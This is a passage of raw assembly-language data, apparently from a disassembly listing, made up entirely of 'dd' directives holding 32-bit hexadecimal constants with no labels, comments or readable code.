		dd 0F8BC3E26h, 0D7D575C1h, 0C45EC1CCh, 21048AACh, 0A5BD3150h
		dd 0C75BF1B0h, 4596DAEEh, 3E48A181h, 0CCAAB464h, 584B5A65h
		dd 0AF8225EFh, 39D59C20h, 0E2C00A3h, 936BA091h,	4716E7BCh
		dd 63307506h, 359783h, 0E63F7C33h, 2F28BCC6h, 62955C9Dh
		dd 0F4965Fh, 400BD240h,	0D43212CFh, 25360A7Eh, 0F65F92ACh
		dd 3017B24Dh, 0E10E4FE3h, 35850916h, 0C56467F5h, 8515576Bh
		dd 30E71FC1h, 13F2F27Bh, 0D00FED70h, 78E91621h,	8C1CBCh
		dd 4D7A5221h, 16666D02h, 8B57B817h, 5B1D46E2h, 3569C901h
		dd 26EC375Eh, 0F3084A59h, 8E3D8837h, 2CC9B589h,	2B92617Bh
		dd 79E0CB16h, 31EF97C6h, 0E4B59440h, 11691871h,	221D945Fh
		dd 69CF5B95h, 8650F6F3h, 78AF07E1h, 26FA93A9h, 4B9DD6F9h
		dd 0F2B69098h, 8C36E3FFh, 0E9B87EF0h, 760B7470h, 0D4BDBA05h
		dd 0CCD62776h, 8035D2E0h, 0D6C600B0h, 0C2F92816h, 8F004296h
		dd 0CF83C50Fh, 2F23C18Bh, 0D50B359Dh, 26DCB5FFh, 6477E915h
		dd 66D097F7h, 81A41D3Ah, 0F77EC181h, 833F08F1h,	508B6176h
		dd 0C7E7BEECh, 0CC4EDA3Fh, 92007573h, 0A1D45BCDh, 41A059C4h
		dd 0BD77C6A3h, 5C168714h, 1A05307Dh, 6F053F3Bh,	2CA1BD23h
		dd 16885B9Ah, 0F7E537C1h, 8012DE2Bh, 0FBE3C72Ch, 0B360951Ch
		dd 3AE3EDD2h, 0BD31EF8h, 895769FEh, 0B6CD700Eh,	4800DC38h
		dd 0D0B01AF8h, 0E6ED4A2h, 859D01CCh, 1385A217h,	0C208C6F0h
		dd 43B78F12h, 0B5155DE0h, 0F800087Bh, 0A1D575Ah, 2778C379h
		dd 0AE48869Dh, 0C5B574E0h, 905F8BCEh, 760E45BDh, 915361D8h
		dd 0CE3D6AF8h, 85D49D7Eh, 0DC27A6A6h, 0C8764BFAh, 5FB9B947h
		dd 0DF04B7BDh, 0E2BA9BEEh, 2A5551C2h, 17A80FA9h, 31092CA4h
		dd 2A49B4Eh, 0B1CD1E2h,	82F805D5h, 0BEB83524h, 0C429AEA2h
		dd 0B639034Dh, 0B5C75E1Bh, 7457508Fh, 4A004F66h, 0FA0C142Bh
		dd 17509736h, 420DBD03h, 26A5BDCh, 2CE069EDh, 58D076A5h
		dd 0C22DB88h, 0A469FD9Eh, 900422A1h, 561CB356h,	0C85B3B0Bh
		dd 0EE7FC0F9h, 0B0304B7Bh, 0DC740095h, 0F838BF05h, 5B2D11B7h
		dd 0F9740490h, 0C920DAEFh, 0E6B8301Ch, 84E70033h, 0B1AB373Ch
		dd 0DB3981EFh, 47940490h, 0D3BC60E9h, 3B97DCE3h, 5FF4297Ch
		dd 5A476EB4h, 73275DF9h, 0BDF018D5h, 22A41E5h, 5955FF8Eh
		dd 8111BB49h, 45BF0210h, 6A3FD0B1h, 2FD35CA0h, 0BE001ABFh
		dd 0EA69C868h, 0EEB09767h, 0CE4EDB80h, 5EFE6AFEh, 0ADFE98h
		dd 8B2F89F8h, 81FF6ADEh, 0C8F5CF0Bh, 0E402DFA0h, 1E740E1Dh
		dd 0F98E4EF4h, 94AFD106h, 22951098h, 29E26F51h,	0BDDE3304h
		dd 0A84288F9h, 0C2D207Dh, 9304B04Eh, 0E6070DEDh, 59958170h
		dd 718C6B13h, 322246F1h, 40814D1Ch, 4BF2FF29h, 52E4C01Bh
		dd 5F4B0DB3h, 0C364DAC9h, 6A1A41C5h, 4FA060C6h,	4B88A3D8h
		dd 82D0B486h, 37B45C09h, 0D1BCB8EEh, 35B03AB2h,	60174486h
		dd 0D1B21A95h, 0B48D009Fh, 3A4199FCh, 1233C300h, 0D18B6159h
		dd 5C1DFC29h, 31987A16h, 414FBD09h, 8857945h, 20913011h
		dd 95090B1Eh, 0D57A1D29h, 0E495C07Ah, 0F5523D8h, 4CBF5220h
		dd 0F19525DDh, 14775669h, 532384EAh, 0FF1C0DD6h, 0E7202E03h
		dd 0F0CCD9Dh, 0AB3E6BDDh, 503F5660h, 67515A68h,	43EC3A8Ch
		dd 4BCDF34Fh, 0E5961EC0h, 21565F60h, 0EC8FF395h, 86095575h
		dd 55CF8259h, 5A7CCFC0h, 41A5D8CAh, 4113DD25h, 2D1F9A8h
		dd 0D969C900h, 765B778Dh, 8D4C9FEh, 0B9C2B875h,	0D9002D2h
		dd 98E5FE17h, 6DC7F65Eh
		dd 5BAF2018h, 923DF82Dh, 0FF9388h, 797D1197h, 0D643AE5Ch
		dd 0B1012AFCh, 39A23F58h, 0B83B10D2h, 689DCF51h, 27B91D09h
		dd 267BF742h, 0B8650B70h, 901344F6h, 6B431907h,	8A40C2B4h
		dd 0E9E2FEh, 0ECADF17Eh, 6C88C62Ah, 58616007h, 0F944F28Bh
		dd 0F839B2BCh, 1213662Ch, 6581E208h, 0F844C9F6h, 22C3D22Bh
		dd 49B1DC9Dh, 0F807B27Ah, 0BE981609h, 446F89h, 7EC701F7h
		dd 25522747h, 0D70A3F0h, 0EAE9CA25h, 0E95355A6h, 84A0D472h
		dd 0BFF57B20h, 11A42C20h, 9EBA00CCh, 0BBAAF24Fh, 76B4D05Ch
		dd 38C7516Bh, 0AAA21609h, 552DEA5Fh, 1964D64Dh,	0B1F67660h
		dd 22884C13h, 68D48013h, 5910DDE8h, 0E8800409h,	0F1BC61C1h
		dd 0F7E62AADh, 1CB59D08h, 0A9BD0107h, 0C4DB7969h, 0B8F9448Ah
		dd 56E3FDB7h, 53E2F880h, 0D25E2C13h, 0BBD711A8h, 51A1C916h
		dd 9A8F752Eh, 7D6DC121h, 545AE1FFh, 302F69C7h, 0E5973316h
		dd 0B5B91750h, 0D9B7517Bh, 618A8949h, 0F243BA79h, 9BFF8404h
		dd 7123C0FBh, 254995EEh, 0D6E56BE9h, 5C04DE0Bh,	0EC74F475h
		dd 30318958h, 0DBBBCB13h, 0DA949727h, 81F7744Fh, 8CD458B0h
		dd 315AC40Fh, 5B49368Dh, 0DC5160h, 0A15E2DADh, 0CCE32EAEh
		dd 0C01285DDh, 0DFF0474Bh, 69BD270Bh, 0BC70F689h, 1E783B93h
		dd 974AFA8Eh, 19CDAA3h,	2C9BFB84h, 3EB028C0h, 5C164002h
		dd 0AEE0A7E7h, 84B42560h, 8094AE4h, 9979267h, 0A7145B10h
		dd 0F342E34Dh, 10667CFDh, 0BDF34A16h, 253C364Ch, 0C42EF2DAh
		dd 0FF120341h, 453C1836h, 0F6073004h, 585A9C13h, 99316681h
		dd 2536A4A4h, 56EA8955h, 3B605104h, 78531ACCh, 0D8F2C5Ah
		dd 0FEA850BCh, 0C32D7002h, 62D9858Ch, 7B105551h, 300879Bh
		dd 6D101B20h, 0AFD17Ch,	4A7DA828h, 0F7F3C1F1h, 78EEBE27h
		dd 9D5B73E7h, 34400C71h, 9D171B75h, 31631FD2h, 2F5AD028h
		dd 5D40B4F0h, 64F240BAh, 0C9041241h, 9788AEA4h,	12531656h
		dd 0B81BB334h, 1ABBC764h, 0D41D8E43h, 5EFF6EFBh, 127042CCh
		dd 0E5552965h, 8DF76E51h, 6D6E97A0h, 7055BA2Dh,	0A2899552h
		dd 2F43BD6h, 3B5CD4E8h,	0B8E24B69h, 0BDE6F32Bh,	0C58D5495h
		dd 18DAEBF9h, 0EAEA98D3h, 9264FA01h, 8ADA8B46h,	612074DEh
		dd 75199D01h, 10E67AAEh, 99B017B2h, 600172F2h, 0CA0BB9Bh
		dd 0C87B4A98h, 3300DEC4h, 0EAB8A9DFh, 1696F8BBh, 0BD5F1237h
		dd 1291381h, 3104D0B7h,	0AB0EEDBDh, 1B88359Ah, 1C1973C0h
		dd 24E01A6h, 8529E8B0h,	29426FB5h, 2B19800Fh, 90002059h
		dd 1527E025h, 38E70097h, 0BDE33156h, 4048E9BCh,	9D5919F0h
		dd 0DB7A34C0h, 972C1F4h, 702C9FB7h, 81980522h, 0C058E212h
		dd 61F60205h, 1F3D27C1h, 93E1DD6Bh, 232DFB20h, 274582F1h
		dd 0B8C1231Eh, 35BB507Eh, 914A2EC8h, 8E0F09F9h,	4097BE66h
		dd 14F3BBF0h, 0AC04C435h, 0F637588Bh, 92EBDB80h, 5B0D6DD3h
		dd 4FB7E812h, 7EE3F5E7h, 0D605DAE0h, 0B5130B7Fh, 0B0040C74h
		dd 8AF1260h, 0BF812F4Ah, 2BB0651Bh, 9B5A363Ch, 0D95E80D7h
		dd 4476B64h, 658D89CAh,	596FBA31h, 0D4051623h, 63B956BCh
		dd 92919D84h, 0CACD614Ch, 37349FE0h, 931E9D93h,	4FCE4D9Dh
		dd 8CA0F2B2h, 2CB32313h, 108E01C2h, 0C6AC4E2Eh,	0CDAB0493h
		dd 0EE5DE819h, 254CE896h, 473EB01Bh, 6C3801BDh,	0CDF67A35h
		dd 7EF76A77h, 0A803AD97h, 3E2A0514h, 0ABEB0854h, 0B94B7EDAh
		dd 26FB843h, 9798287Fh,	0C1543EF0h, 6EE8F564h, 1D3BBC0h
		dd 9A97785Dh, 0B560D86Ah, 14640BEDh, 98609C62h,	497AE46h
		dd 9BD4D864h, 0E5B825FDh, 0F8A32509h, 0E4485D2Fh, 0B325DE8Bh
		dd 54E159C8h, 9BDEE913h, 0E3D272ACh, 0EE115BFFh, 7EB38B92h
		dd 0CA509AAh, 0D45A0374h, 7A00D45Eh, 0A6855351h, 11316A05h
		dd 762ED99Dh, 0D21C130h, 9D1599BDh, 24122D3Bh, 6FEB19B1h
		dd 1D2391h, 4617C52Bh, 633C75ECh, 855F2573h, 49052472h
		dd 65AF16A9h, 0A0E2A6E4h, 137E651Fh, 0A1887155h, 0C0A65B17h
		dd 0C53638C7h, 0E2E54834h, 350E68C0h, 23F6EBD4h, 5E8F0A2Dh
		dd 319FD693h, 7608260h,	55C7AAA1h, 15644ECDh, 0AD4F5961h
		dd 649C0A3Ah, 0D8ACD3A5h, 0AB07744Ah, 0F025605Ch, 7BC2EFE5h
		dd 8892D72Dh, 9FAC785Dh, 176419EDh, 9C5DC660h, 8D09F513h
		dd 0DF81E490h, 4AECF4AFh, 89138852h, 991FCCA0h,	18B0D200h
		dd 0DE068E5Dh, 0CBE6071Ah, 74DFF242h, 38A3EA96h, 35ED82Eh
		dd 1A3B9F03h, 5D6EABFCh, 787C2C2Fh, 5D298D09h, 9D163C94h
		dd 10E9055Dh, 550A0ED3h, 8869A313h, 8725BB3Ch, 0DA8929D1h
		dd 3B97750h, 7B6BC655h,	0E5D783EAh, 70E00137h, 0D07DFE5Fh
		dd 7C3AFA92h, 0E7760234h, 5E3D9529h, 2FDDA071h,	0D6742E59h
		dd 0C07294DEh, 8DDFF79Ah, 9DAD4Eh, 72A8A62Dh, 0A5097D5Eh
		dd 889791FDh, 0D18DF82Ah, 8C17A859h, 36918C09h,	0A7EF79FCh
		dd 20005244h, 4BA37E0Bh, 9D416098h, 10E1684h, 820F535Bh
		dd 1320B777h, 0B8A5F4Eh, 0BD4B5938h, 0F9E8E90Fh, 7BA81DE6h
		dd 0B13B84BDh, 0AB0E941Fh, 0AA69D39Dh, 3802E9A8h, 0B2E0EAF8h
		dd 4DBB401Dh, 4F129D01h, 5058275Eh, 32F607BFh, 0D25B7101h
		dd 0E4D5F298h, 9337BD7Eh, 6D051A12h, 0C9EC9171h, 0C4D61480h
		dd 6D05E194h, 814EF783h, 0CEADDAABh, 1211C17h, 3AEC9DEEh
		dd 0A5D52056h, 4F5B2540h, 547B2090h, 1D04438Bh,	0B3AA3A1Eh
		dd 0EDEDCFBh, 7B541F0Fh, 0BB7EC060h, 6560276h, 505F6134h
		dd 30B4E57h, 5E30219Dh,	0DE05FCB6h, 77D8E0D0h, 0FD4FF3ACh
		dd 6EEF4F56h, 5BFA2653h, 60081301h, 7A53CBD1h, 0A64BC0E0h
		dd 0CE270033h, 0D2C5FC20h, 61FA0F04h, 3F87B707h, 0C48E3E5Bh
		dd 37B35FDBh, 79BD2304h, 0ED1102Ah, 0C1EDFE9Dh,	6D7A48BBh
		dd 0D1BBE06Fh, 40135E16h, 2125D3C1h, 0E845B800h, 617BD51Ch
		dd 7E044267h, 0A04CDCB4h, 88A1196h, 4AE1E75Bh, 9BB0D3F7h
		dd 674A735Fh, 8D3888h, 1A5163F3h, 5BF9836Fh, 0CB032000h
		dd 8C9C9E09h, 8DD3B52Ch, 2EFA1D8h, 61839791h, 6675CF30h
		dd 0F8A604DCh, 0B66A5FD8h, 5183F1C4h, 88D8183Fh, 4CB2AD95h
		dd 5ABE7395h, 3AD52D19h, 0FFF82630h, 0B8BB04D1h, 0BC5D276Ch
		dd 577AA3FFh, 0C4A0673Ch, 8E0565AFh, 7B2E251Eh,	29493AAh
		dd 9BDD610h, 8805ED50h,	0E61D0F5Ah, 89173816h, 0CD8754E2h
		dd 0AA27D081h, 0CD9F505Bh, 19D7E98Ch, 716A6AFEh, 719C1CBh
		dd 5E0F2B82h, 0FEA758CBh, 596F7BE7h, 48275D00h,	64987F9Fh
		dd 183D385Ch, 85811BD9h, 510DCB09h, 549758C6h, 849869FFh
		dd 0D1009C19h, 5270BDCFh, 13016013h, 0E625718Dh, 0C29D00D4h
		dd 3294BD2h, 0ED2D0E62h, 8AC5D168h, 0E79082BEh,	98FD8F62h
		dd 251E989Eh, 14FF0B8Fh, 81D6A848h, 25F37AF7h, 0C3D37652h
		dd 113C8B2h, 0C94E92BFh, 45F72A68h, 25158411h, 186460h
		dd 50A9A7CDh, 96133352h, 84189101h, 61EDCB80h, 0A85AF22Ah
		dd 0F3E8E1h, 0FA05B63Bh, 0C895E381h, 6487224h, 0C2FECD2Dh
		dd 79E016D3h, 0BD95170Dh, 96140055h, 0A628FD5Ch, 63F8B197h
		dd 2570F72Ah, 80817C4Fh, 3A33CB7Dh, 0B05CBFEDh,	0E6D90077h
		dd 0BD295070h, 16F5BA45h, 471E45Fh, 0BDB337E3h,	988A76FEh
		dd 264014h, 7ED9A8E4h, 0B871E561h, 0B6446201h, 110BF38h
		dd 0BBC6906Eh, 9886BC5Ch, 23D54E81h, 0C1CADE9Fh, 3740385Eh
		dd 1DC54C5Ch, 2085EE2h,	0EC52CBD6h, 1021774h, 0B032D85h
		dd 221228F6h, 0BFD2D1E8h
		dd 0C1BF2322h, 5DCA0AE8h, 4D9DD602h, 0D14E9B72h, 181A88h
		dd 0D6D36D31h, 5FA69FB9h, 78C190B5h, 0E71D0922h, 8A0A09DEh
		dd 262A102Ah, 0BB3BBA5Bh, 0A5E94151h, 0AC85F57Ch, 1EBC2B8h
		dd 0C06549F6h, 0CF85BEFh, 0A171BA85h, 323A1259h, 4C2F1F25h
		dd 4B500B77h, 809DAC56h, 8C34A6B2h, 0F1700A4h, 74CCEB5Dh
		dd 500DA845h, 0A65F601Bh, 0E92D312Fh, 84CD100Ah, 0D6580162h
		dd 7016EEE0h, 26223A75h, 8671293Fh, 74314102h, 826DDFA8h
		dd 0BB703500h, 0F4A59A46h, 28329D5Fh, 0BFA8B07Dh, 86EE98FBh
		dd 0C19D1690h, 0A137EC2Ch, 0E93A7C76h, 3BC77h, 0C96EBB0Ch
		dd 2265DB6Dh, 0F6324992h, 74FC523Eh, 800F6226h,	0A1EF317Fh
		dd 0FB65BB30h, 0D6A6B901h, 913D77h, 0B0EC7376h,	3E13CB12h
		dd 20B04C0Bh, 0CF44971Eh, 119904A0h, 4037DD82h,	697FD6ADh
		dd 9599B05Dh, 0F62A4B65h, 0CCAB01E2h, 0F3FE7DB4h, 92A123F8h
		dd 0BD5B5A52h, 9B15A8A0h, 84A40DA1h, 73FC1D80h,	15A54B81h
		dd 0F0F7B67Ah, 4E0C8D8Ch, 4C9E8F1Dh, 75692C07h,	43C42513h
		dd 0B74F5FBCh, 0EFC2A0ACh, 2719E868h, 2EF4DA8Bh, 1277BBD6h
		dd 0A9CAC8E6h, 7967B502h, 74EE6E46h, 9436A69h, 175D09B9h
		dd 18C6A725h, 1AE3C195h, 4376FB07h, 28A7A459h, 9AE375Fh
		dd 0E47DA7C5h, 0DCB0A013h, 0AD1F91B4h, 0F200D844h, 0F0035780h
		dd 139DE22Ah, 9B19F8h, 0B10CE19Eh, 0F52CB48Ah, 893EB75Bh
		dd 0D36B4160h, 1818594Fh, 2A2E0992h, 81047590h,	0E1FF45E5h
		dd 30D3CDDBh, 0A7129415h, 521A4195h, 5B26096Fh,	5D4253D1h
		dd 30D705h, 0DD046BAAh,	0A8A96FE0h, 5FA13DE8h, 669E3B05h
		dd 0FCF60B80h, 9099C43h, 5516119Dh, 86092845h, 0D83CD3F6h
		dd 0FA098654h, 0E6604108h, 0E08100A4h, 6E9037EFh, 0B004E1BEh
		dd 606145D9h, 4AB8B9A9h, 7B96CB3Dh, 58123AEBh, 42E0F7F6h
		dd 0DB03D4E5h, 0BF8C7DA2h, 1ACAD9EBh, 6F79163Ah, 4FA709E9h
		dd 40847560h, 0B505817Dh, 9C953F11h, 10994881h,	2268A37Bh
		dd 0C673B551h, 2603A2Ch, 0EAB1ECh, 668C085Fh, 5E2F93BAh
		dd 13FD17B8h, 8161F853h, 431709DFh, 48D11C83h, 0CF40609Fh
		dd 0E3AD32Bh, 29B51901h, 0FE509317h, 0F957EF62h, 41F94BE4h
		dd 0D5BB6900h, 73700EBDh, 226F89Dh, 0A720DFB4h,	9A771D82h
		dd 7011DB4Dh, 1612C6F0h, 0C88E9D8h, 0FACB003Eh,	8D29B09Bh
		dd 299F1635h, 2FE45597h, 685B5103h, 0D352365Ch,	0A3840581h
		dd 0F616CCCDh, 94B4E036h, 5A9775D1h, 6BECF17Eh,	0D92F56A9h
		dd 0C9D89D7Bh, 0B4029010h, 1B467E71h, 233FDF0Fh, 0B9E30D81h
		dd 0B1E930E2h, 42C90F41h, 6F6E0B25h, 0BE970039h, 0D68F330Eh
		dd 0BFEC025Dh, 31C401B1h, 8EC53F74h, 888F9E9h, 59094D26h
		dd 0BE385D1Fh, 911337BBh, 71AF5A9Eh, 3A2EC584h,	27462F76h
		dd 7B5E09B1h, 1C467Eh, 0DD0B1593h, 279933C0h, 5A58D40Eh
		dd 70EF3F25h, 5D9A8A06h, 18F8AB5Bh, 1F8009EAh, 44D0ADD6h
		dd 0C7807299h, 4C8F093Ah, 0DDF1000Eh, 7EA853FEh, 0C9F0C2A2h
		dd 0BF00D1EAh, 0C19F608h, 17B3505Bh, 0BE348918h, 46202B6Fh
		dd 4BA479BDh, 0F152E873h, 22E525C1h, 7FAF1227h,	489FB952h
		dd 0BD29B371h, 0BE01AE96h, 7277D112h, 73948B61h, 3F005FE9h
		dd 3D80D803h, 0A200FB39h, 6FB3C05Dh, 489AE42h, 92327535h
		dd 8FA2FBB4h, 4B4DBB1Fh, 0CDD671DCh, 640C00DEh,	0F0BAC6BCh
		dd 3E029EDBh, 6782EBBh,	4A477420h, 0C809F40Dh, 898E64B6h
		dd 29764D9h, 3B14F8A2h,	4755CAE1h, 20EA285Ch, 42BF1BF9h
		dd 8082B729h, 0CAE2798Bh, 7A09CBBEh, 0FF52E6ACh, 0EDB8F7E4h
		dd 9186B59Dh, 37A78019h, 5BF0622Ch, 0FD39C313h,	857C61CAh
		dd 0BF0102DCh, 3E7CA423h, 20CE50C1h, 1F408DD2h,	5E1E9D61h
		dd 40B26D95h, 53E59928h, 8260D9B5h, 19C9B529h, 3EE35B05h
		dd 257BFC5Bh, 66B6482Dh, 0B94525BFh, 5113CBE5h,	1447BAEh
		dd 93693310h, 132E3BBAh, 402B93A7h, 6EFAEE4Ah, 61BB4A07h
		dd 3A8E0E66h, 0BBE0BE3Ah, 0BF047A38h, 0C995094Dh, 0A28EE7EBh
		dd 91E48098h, 0F6B7DBBh, 802A4E9Eh, 27E8A89Fh, 0E1455599h
		dd 0DE041109h, 3500F49Eh, 14428D92h, 9ED9185h, 619D29E4h
		dd 0DA782C7Eh, 0C0DCB403h, 4A36F75Bh, 5F57FC01h, 0D1525DFh
		dd 108DA73Bh, 0BBA434BDh, 0E62A2E29h, 0AF22E0E3h, 0F63A9D73h
		dd 9084B9B5h, 0FBCCED8Fh, 774300C5h, 3B556841h,	970061C0h
		dd 456C2893h, 17074690h, 0AC66D656h, 20058F79h,	842ADA44h
		dd 15670ED1h, 0E1407E57h, 0BB964B4Eh, 0E89D5B05h, 79E25053h
		dd 6500BF4Eh, 7244D3Ch,	5F2805B7h, 60F88B96h, 2DBD33A4h
		dd 0ED9D094Eh, 0B62B9521h, 3018B2A8h, 0EE2FE6Eh, 7C08735Bh
		dd 0CA8E970Dh, 50F51F5Bh, 0F1C2630Bh, 185DA518h, 42EDB58Eh
		dd 4081921Eh, 493C3656h, 217B0FCFh, 4EC6E884h, 42AFED16h
		dd 1C759557h, 7EDFBADDh, 7B654079h, 4E00D958h, 0C91D2473h
		dd 120DCCB2h, 0A2910F1Bh, 78F707A2h, 0D1E03621h, 0CA311Fh
		dd 5B85AABh, 446EBC4Ch,	0D7E9B24Eh, 0B98D2982h,	7F25AB56h
		dd 0BC80B8B7h, 0EB8D055Bh, 0A7521EDCh, 2D4427E4h, 501D7501h
		dd 39277426h, 0A30AFC6Eh, 594A41Bh, 0C01EDEEEh,	691FB956h
		dd 0B596EAC7h, 0BB14B16Ch, 6CF236Fh, 963542CBh,	0A92A5A14h
		dd 0BDE6780Bh, 740F192Dh, 498751CFh, 9A206AB0h,	9DA38BF4h
		dd 4D988BD8h, 5F3B3165h, 0FDF9DEEh, 0FA91C064h,	0F07B8CF9h
		dd 0B9600484h, 0FB0E633Eh, 8A940412h, 25138BEEh, 0F6C2F64Dh
		dd 4F50323Ah, 0A1B8D20h, 48190B37h, 0A85863D1h,	82F83795h
		dd 0C04ED442h, 50656557h, 7E006C4Bh, 4457EB9Eh,	9FAD1615h
		dd 0EE40767Eh, 25A7F51h, 0E3E1F264h, 295FCEEDh,	31651830h
		dd 646100EFh, 630233B3h, 7804FA56h, 0E29D3CCAh,	8D2B9E8h
		dd 0BF810511h, 7294667Ah, 1688645Ah, 46BCE4C0h,	20FF9060h
		dd 8B5F30F9h, 613B29E2h, 0A646D8A7h, 25C259A2h,	27CEDD5h
		dd 2FDD9D89h, 700D65F7h, 5C00433Ch, 0D767B3D8h,	0BDC6C4AEh
		dd 8F41BC6Fh, 97F63B7h,	0AD762FBDh, 2F1646FEh, 1C5778CEh
		dd 6DFFF1F4h, 71C0C94Dh, 1386AF4Fh, 0A15AF053h,	0DAF16BBFh
		dd 0CB57BD2Eh, 121718F8h, 807004DBh, 0BA609065h, 0D00018B3h
		dd 70EBC1B9h, 0DD0171F0h, 1E3C9D7Eh, 6080665Fh,	0C23B961h
		dd 50EC01A5h, 0AD6E905Bh, 0B0B31302h, 0CE5CFA53h, 0EA781A40h
		dd 0BAE34F60h, 7ED75260h, 798197CFh, 0CE898D01h, 8B301444h
		dd 0F79EAFAh, 0EE31F4EEh, 0B2214B2Dh, 97293F2Bh, 0B9B42665h
		dd 0EC6BF3D1h, 0E6009630h, 310F6E9Ah, 37D05A8Bh, 0C434D052h
		dd 6A4F3DFBh, 0BDBC1EB9h, 0EF18B200h, 7499A94Eh, 80353EF0h
		dd 0EB6A9B12h, 702D88h,	0A8BF401Bh, 7F800A2Ah, 1455F301h
		dd 0D477406h, 9D595DCEh, 8D7BBB81h, 0FC6B751Eh,	6AAED694h
		dd 0F514248Bh, 0D1FF8DC1h, 0FDF00666h, 527B0168h, 0AD86A228h
		dd 0E51CC425h, 0FC5A10FCh, 71168C15h, 0B8892386h, 4311DEDAh
		dd 1017026Ah, 37EC21C9h, 78E0BFC0h, 0AB99419Bh,	7059C8A7h
		dd 0B35B00E2h, 0CC813898h, 4159320Ah, 1BAB93C9h, 63C263CFh
		dd 12596757h, 0EB425683h, 77B50009h, 372D0C45h,	61AC007Bh
		dd 8B60964Bh, 0C580CB0Fh, 0BD853D31h, 0F1C814FDh, 0F5266005h
		dd 6B1DB1BBh, 1EFF546Ch, 0CD25679Dh, 965DE985h,	0EB810239h
		dd 44F1D111h, 5A8F7375h, 41C46DD4h, 427FA3ABh, 7A1A00BCh
		dd 17609E45h, 0E22007Bh
		dd 0EBE4376Fh, 6A2E3315h, 552DF4FFh, 51B5AF21h,	35BD1031h
		dd 0D1799D09h, 0B0571144h, 0B0812183h, 25E61034h, 50E3F970h
		dd 4F93104Bh, 1A0585F7h, 24BB2F89h, 38CDBA31h, 2941202Eh
		dd 0B2AA5595h, 0A526C9D7h, 0CE3AB83Ah, 785F29BBh, 25BF002Bh
		dd 2B23BE05h, 0D7A329C8h, 0D18BD519h, 0CDBD9176h, 665B134h
		dd 272DD5D5h, 2C89854Bh, 0C03EC27Ch, 0A505C94Bh, 30FC69D1h
		dd 0BDACC114h, 0BFD18E0Ch, 0BC81A8D9h, 3D1C8211h, 3C28260h
		dd 5D14C3C4h, 0ECFC1F10h, 9B9EB5Eh, 26E8C3C0h, 0B197615Bh
		dd 0AA14120Dh, 7E47CBD0h, 371500C7h, 4C015A8Ah,	0A904DC78h
		dd 83B7EC8Fh, 378817BCh, 18DF8084h, 8C15CEC3h, 8802E212h
		dd 0DF82BA06h, 0AE6AAE8h, 5B349050h, 95253CA1h,	0EAB55283h
		dd 29F70B31h, 40F73B7h,	0F6ED8C1Ch, 4B2FF00Ch, 37E22FB4h
		dd 0C44B5F5Eh, 0A92A0048h, 995E555Dh, 0BD709531h, 9D9D57B1h
		dd 70BB2992h, 56CF8170h, 0EF49E0Bh, 7C4609B9h, 6FAAC08Ah
		dd 0C11F58D3h, 6EC05214h, 80D972D5h, 0A8E90474h, 0AED37024h
		dd 99C142D4h, 75DA1FF3h, 3D051337h, 7EC13AB3h, 0AF0526ADh
		dd 0B184DB74h, 0E64B8BBDh, 2BD909F2h, 701FFBD2h, 4D97FC71h
		dd 2235A767h, 0E5F2A001h, 0EC1012E9h, 3D04BD6Ah, 917793D4h
		dd 40550F80h, 1B3A0429h, 0EF270982h, 0A54F8B6Eh, 95EB4153h
		dd 3BB93A20h, 3C602AADh, 9ABD8E4h, 0B3F897D0h, 9E11E02h
		dd 0F0E9C8F4h, 0FB9995E5h, 0C9242A56h, 0CA0018BCh, 23C7ECF8h
		dd 65E88E2Ch, 2E645604h, 2CC45BC4h, 0B49CE2BAh,	2AB33C84h
		dd 61B76B02h, 7C60E0DCh, 5B09E549h, 0BA038D0Fh,	0E51C5C5Ah
		dd 86FF9F90h, 2770EEB2h, 0BF55EA10h, 0DF501F8h,	0D45B4CAAh
		dd 0CE218949h, 0D6DC4812h, 0D542212Ch, 0F9125C24h, 0E3C03F31h
		dd 73619AF4h, 220600A9h, 0AD66B2ABh, 9505F45Bh,	0E1FF5617h
		dd 0E6CE9CC1h, 0A4DBAC3Ah, 0EB337393h, 811B017Dh, 0B1051ADBh
		dd 8282F6Eh, 6033C471h,	0D10DC751h, 3058E673h, 134ACD92h
		dd 86E15BA8h, 2839B41Fh, 6028E019h, 9731BC40h, 6E7EED61h
		dd 96B5004Ah, 0A82E8053h, 5F5A9FF3h, 57D98C12h,	0D9973CE8h
		dd 67F82F7Bh, 0E1845F8Ch, 0BF84514Bh, 0C2C29BABh, 5F495C22h
		dd 71006864h, 86E19FEAh, 12F8092Dh, 247CAA5h, 1EA9BDBBh
		dd 8D044D0Ah, 0CCB82071h, 0BE0140C4h, 7A83EEDEh, 46A89541h
		dd 1D00BCB1h, 18F78191h, 0C442BEDBh, 0AC11717Eh, 0DEDB53Fh
		dd 0CF1C1FA8h, 5BBEB509h, 9AD24FB2h, 7A7F806Eh,	714C77E8h
		dd 0D0680016h, 8BEB818Ah, 574B2062h, 0FED7B01Dh, 0F927A9B9h
		dd 0F562AA09h, 49BDF7h,	68B9188Ch, 6569503Eh, 0AF05F9BCh
		dd 317531ABh, 0C06B5B0Dh, 7A53C168h, 324EB7E0h,	693E37AEh
		dd 0D2552ED5h, 1BA2E9A6h, 5FF0530h, 7FFE51BFh, 0CF81AFE1h
		dd 7A202F0Bh, 0F5E924DEh, 9C00FC1Ch, 12D7EB1Eh,	4B46DB38h
		dd 0E9BB8568h, 0AC3FED89h, 25624D5Dh, 7298FD15h, 2B3F0FD5h
		dd 66A4001Bh, 0C499597Fh, 0AEEC0211h, 9FFE7193h, 0DE25E55Ch
		dd 0A13AE048h, 0AC0054B2h, 82D82538h, 1581198h,	0D2773E1Fh
		dd 207399AEh, 23F8BD0Dh, 632F5F81h, 0FFA8500h, 0BE9F916h
		dd 0CF17881Ah, 0DEC943AFh, 9D2BB130h, 0D31A7925h, 0D2AEF819h
		dd 30ABF03h, 0B095F9B5h, 9E794B8h, 8CB39623h, 0A02C1B74h
		dd 73C9FE67h, 7E867050h, 4CDFF01Dh, 9AAFF027h, 0EF9A95C0h
		dd 2379BE82h, 9F1A1C5Fh, 0E69EE10h, 0D0266401h,	6E7A7D18h
		dd 1332BB30h, 0D1505F9Ah, 6A4BE9Bh, 30222F0Ch, 9DD53AF8h
		dd 0D4CA77FBh, 184992F9h, 9178B8h, 6C63606Ah, 64D570B6h
		dd 1016A725h, 0A2777Ah,	8EA13EC1h, 3604A62h, 0D3208B00h
		dd 3BE387BBh, 5B482C46h, 0C4C59666h, 0C6BAF80h,	41001A23h
		dd 2982FB59h, 20BA4E14h, 0AD3F095Bh, 1519DA00h,	0C886C289h
		dd 0B7010047h, 0B3904227h, 0F9E85005h, 33162A9Bh, 5461C988h
		dd 0C7057h, 0DE3E54F4h,	0D62D55C2h, 0C163A30Fh,	113160EDh
		dd 4B186637h, 41628B5Fh, 0BAAF45B9h, 7E0F3579h,	34B9BDC3h
